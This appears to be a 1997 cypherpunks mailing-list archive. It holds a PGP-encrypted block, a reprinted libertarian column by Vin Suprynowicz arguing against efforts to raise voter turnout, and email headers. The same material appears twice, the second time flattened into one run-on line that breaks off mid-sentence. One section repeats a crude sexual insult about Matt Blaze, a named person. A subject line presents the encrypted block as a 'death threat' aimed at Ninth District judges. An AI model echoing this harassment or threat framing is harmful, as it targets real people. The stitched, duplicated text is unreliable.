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
OAczuDMWn7ie9LRM5qs76l8VwwlLiDY2EwrK
=Lmhc
-----END PGP MESSAGE-----



Nobody Calls From Vegas Just To Say Hello

FROM MOUNTAIN MEDIA
FOR IMMEDIATE RELEASE DATED DEC. 10, 1997
THE LIBERTARIAN, By Vin Suprynowicz
How can we reduce voter turnout?

Toby, somewhere in the Great Northwest, writes:

"I am doing a research paper for my Sr. High School Government term
paper. My assignment is 'How to increase voter turnout.' Are there any
books or information that I could use to reference, and if you have time
could you give me some of your ideas?"

I replied:

# # #

Greetings, Toby --

The book "Votescam," widely available in paperback, is worth a look.

But I'm not sure about the premise of your paper, in the first place.

Before we can answer the question, "How to increase voter turnout," it
seems to me we need to ask "WHO wants to increase voter turnout, and why?"

Whether the next election sees 70 percent of registered voters show up at
the polls, or 50 percent, or 30 percent, the result will be the same. A
member of the incumbent Republicrat Party will be elected. He or she will
go to the capital, raise taxes, and increase government meddling in our
lives. Freedom will be further eroded. The only folks granted "loopholes"
and "exemptions" from this ever-tightening vise are corporate, union, or
other special interests who have ponied up tens of thousands of dollars
worth of bribes -- euphemistically called "campaign contributions" -- to
buy "access."

If the folks running this protection racket thought that higher voter
turnouts would upset their applecart, dumping them all out of office and
replacing them with Libertarians (or anyone who might REALLY decrease the
size and power of government), they would be doing everything possible to
PREVENT higher voter turnout, starting with re-enactment of the poll tax.

Instead, we see our state and local registrars -- FULL-TIME GOVERNMENT
EMPLOYEES -- urging HIGHER voter turnout, and making it so easy to register
and vote that you can now actually do both by mail.

Why?

To discover their real motivation, look at the recent special
presidential election in Bosnia. Because voter turnout was under 50
percent, the United Nations held that vote was INVALID and had to be
redone, figuring terrorist gunmen had frightened too many folks away from
the polls.

The risk to governments now in power is not HIGH voter turnout -- their
control over the courtesan press, and restrictions on the ability of third
parties to get on the ballot or into televised debates, take care of that.

Instead, their fear is that turnout among wised-up victims unwilling to
continue endorsing their schemes will fall so low that they will no longer
be able to claim any credible "mandate from the people" to continue
building their metastasizing police state.

So, if we want to see anything change, why isn't the title of your paper
"How to REDUCE voter turnout?"

"That's outrageous," you'll likely be told. "Voting is how we keep the
democratic process strong."

Precisely. And the Founders never meant for us to be exclusively or even
mostly a democracy, or they'd never have let five Supreme Court justices
overrule 218 congressmen. All this vote-counting has actually gotten
people believing it's OK to throw away the Second Amendment and restrict
the right of the people to keep and bear arms (for example) ... so long as
you can get a majority to "vote" for it.

Our current problem in this country is that there's TOO MUCH voting going
on, on stuff never meant to be subject to government intervention, in the
first place.

But, if you insist, here's a way to "increase voter turnout":

Place every state, local, and national ordinance which currently outlaws,
taxes, or regulates any drug or medical device or practice, or any firearm,
explosive, or militarily useful device up to and including tanks and
shoulder-launched missiles, on the ballot. For good measure, also place on
the ballot any existing law which authorizes any tax or fee.

Then announce that, under the Sixth Amendment guarantee of a jury trial,
it follows that no person may be punished for violating any of these laws
unless he or she could reasonably expect to be convicted by a UNANIMOUS
vote of a RANDOMLY-SELECTED jury of 12.

Since one juror in 12 represents 8.33 percent of the populace, obviously
no law which has only 91 percent popular support can be allowed to stand
under the clear intent of the Sixth Amendment; only laws with 92 percent
popular support can be allowed to stand.

Therefore, any law which is OPPOSED BY 9 PERCENT (OR MORE) OF VOTERS IN
THE NEXT ELECTION will be stricken from the books. No more prosecutions
under that law will EVER be allowed, even if the Legislature tries to
re-instate it.

If the vote goes 91-9 to KEEP the drug laws, the drug laws are REPEALED.
If the vote goes 91-9 to KEEP the gun laws, the gun laws are REPEALED. If
the vote goes 91-9 to KEEP the income tax, the income tax is REPEALED.

Giving folks the chance to finally CHANGE something, I think that would
draw a pretty good voter turnout. Don't you?

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin at lvrj.com.

***


Vin Suprynowicz, vin at lvrj.com

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen." -- Samuel Adams


End Game / InfoWarez

#1 Matt Blaze sucks donkey dicks

#2 Matt Blaze sucks donkey dicks

#3 Matt Blaze sucks donkey dicks


Copyright "Human Gus-Peter <ualdv8 at sk.sympatico.ca>


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite

From toto at sk.sympatico.ca Sat Dec 13 22:53:32 1997 From: toto at sk.sympatico.ca (Human Gus-Peter) Date: Sun, 14 Dec 1997 14:53:32 +0800 Subject: InfoWar EndGame / TEXT Message-ID: <199712140647.AAA24092@harrier.sasknet.sk.ca> ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- The True Story of the InterNet Part III InfoWar Final Frontier of the Digital Revolution Behind the ElectroMagnetic Curtain by TruthMonger Copyright 1997 Pearl Publishing ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- InfoWar Table of Contents * Epilogue EG * Nobody Calls From Vegas Just To Say Hello * End Game / InfoWarez ---------------------------------------------------------------------------- Epilogue EG ---------------------------------------------------------------------------- >From - Tue Dec 09 14:01:35 1997 Received: from toad.com (toad.com [140.174.2.1]) by orion.sk.sympatico.ca (8.8.6/8.8.6) with ESMTP id MAA14896 for ; Tue, 9 Dec 1997 12:57:24 -0600 (CST) Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id KAA09835 for cypherpunks-unedited-outgoing; Tue, 9 Dec 1997 10:52:13 -0800 (PST) Received: from harrier.sasknet.sk.ca (harrier.sasknet.sk.ca [142.165.5.2]) by toad.com (8.7.5/8.7.3) with ESMTP id KAA09830 for ; Tue, 9 Dec 1997 10:52:10 -0800 (PST) Received: from smtp.sk.sympatico.ca (lohner27.sk.sympatico.ca [142.165.98.27]) by harrier.sasknet.sk.ca (8.8.6/8.8.6) with SMTP id MAA24686 for cypherpunks at toad.com; Tue, 9 Dec 1997 12:52:15 -0600 (CST) Message-Id: <199712091852.MAA24686 at harrier.sasknet.sk.ca> Date: Tuesday, 09 Dec 97 13:51:52 EST To: cypherpunks at toad.com From: TruthMailer X-Mailer: WinSock Remailer Version ALPHA1.3B X-Comments: - X-Comments: TruthMonger's Bait Shop & Plutonium Recycling Center X-Comments: - X-Comments: Does anyone know where I can get a transmission for a X-Comments: 49 Jimmy half-ton? X-Comments: Thanks, X-Comments: Ralph X-Comments: - X-Comments: This message is NOT from Ralph. X-Comments: - X-Remailer-Setup: Maximum Message Size -- None X-Remailer-Setup: Reordering is OFF X-Remailer-Setup: News Posting DISABLED X-Remailer-Setup: Subject Header KEPT X-Remailer-Setup: Logging COMPLETE Messages X-Remailer-Setup: No PGP messages accepted Subject: Encrypted InterNet DEATH THREAT!!! / ATTN: Ninth District Court Judges / PASSWORD: sog Sender: owner-cypherpunks at toad.com Precedence: bulk X-UIDL: b32dd7ae7cef6fa090cd2d4b105d06d0 X-Mozilla-Status: 0001 Content-Length: 6455 -----BEGIN PGP MESSAGE----- Version: 2.6.2 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 OAczuDMWn7ie9LRM5qs76l8VwwlLiDY2EwrK =Lmhc -----END PGP MESSAGE----- ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- Nobody Calls From Vegas Just To Say Hello FROM MOUNTAIN MEDIA FOR IMMEDIATE RELEASE DATED DEC. 10, 1997 THE LIBERTARIAN, By Vin Suprynowicz How can we reduce voter turnout? Toby, somewhere in the Great Northwest, writes: "I am doing a research paper for my Sr. High School Government term paper. My assignment is 'How to increase voter turnout.' Are there any books or information that I could use to reference, and if you have time could you give me some of your ideas?" I replied: # # # Greetings, Toby -- The book "Votescam," widely available in paperback, is worth a look. But I'm not sure about the premise of your paper, in the first place. Before we can answer the question, "How to increase voter turnout," it seems to me we need to ask "WHO wants to increase voter turnout, and why?" Whether the next election sees 70 percent of registered voters show up at the polls, or 50 percent, or 30 percent, the result will be the same. A member of the incumbent Republicrat Party will be elected. He or she will go to the capital, raise taxes, and increase government meddling in our lives. Freedom will be further eroded. The only folks granted "loopholes" and "exemptions" from this ever-tightening vise are corporate, union, or other special interests who have ponied up tens of thousands of dollars worth of bribes -- euphemistically called "campaign contributions" -- to buy "access." If the folks running this protection racket thought that higher voter turnouts would upset their applecart, dumping them all out of office and replacing them with Libertarians (or anyone who might REALLY decrease the size and power of government), they would be doing everything possible to PREVENT higher voter turnout, starting with re-enactment of the poll tax. Instead, we see our state and local registrars -- FULL-TIME GOVERNMENT EMPLOYEES -- urging HIGHER voter turnout, and making it so easy to register and vote that you can now actually do both by mail. Why? To discover their real motivation, look at the recent special presidential election in Bosnia. Because voter turnout was under 50 percent, the United Nations held that vote was INVALID and had to be redone, figuring terrorist gunmen had frightened too many folks away from the polls. The risk to governments now in power is not HIGH voter turnout -- their control over the courtesan press, and restrictions on the ability of third parties to get on the ballot or into televised debates, take care of that. Instead, their fear is that turnout among wised-up victims unwilling to continue endorsing their schemes will fall so low that they will no longer be able to claim any credible "mandate from the people" to continue building their metastasizing police state. So, if we want to see anything change, why isn't the title of your paper "How to REDUCE voter turnout?" "That's outrageous," you'll likely be told. "Voting is how we keep the democratic process strong." Precisely. And the Founders never meant for us to be exclusively or even mostly a democracy, or they'd never have let five Supreme Court justices overrule 218 congressmen. All this vote-counting has actually gotten people believing it's OK to throw away the Second Amendment and restrict the right of the people to keep and bear arms (for example) ... so long as you can get a majority to "vote" for it. Our current problem in this country is that there's TOO MUCH voting going on, on stuff never meant to be subject to government intervention, in the first place. But, if you insist, here's a way to "increase voter turnout": Place every state, local, and national ordinance which currently outlaws, taxes, or regulates any drug or medical device or practice, or any firearm, explosive, or militarily useful device up to and including tanks and shoulder-launched missiles, on the ballot. For good measure, also place on the ballot any existing law which authorizes any tax or fee. Then announce that, under the Sixth Amendment guarantee of a jury trial, it follows that no person may be punished for violating any of these laws unless he or she could reasonably expect to be convicted by a UNANIMOUS vote of a RANDOMLY-SELECTED jury of 12. Since one juror in 12 represents 8.33 percent of the populace, obviously no law which has only 91 percent popular support can be allowed to stand under the clear intent of the Sixth Amendment; only laws with 92 percent popular support can be allowed to stand. Therefore, any law which is OPPOSED BY 9 PERCENT (OR MORE) OF VOTERS IN THE NEXT ELECTION will be stricken from the books. No more prosecutions under that law will EVER be allowed, even if the Legislature tries to re-instate it. If the vote goes 91-9 to KEEP the drug laws, the drug laws are REPEALED. If the vote goes 91-9 to KEEP the gun laws, the gun laws are REPEALED. If the vote goes 91-9 to KEEP the income tax, the income tax is REPEALED. Giving folks the 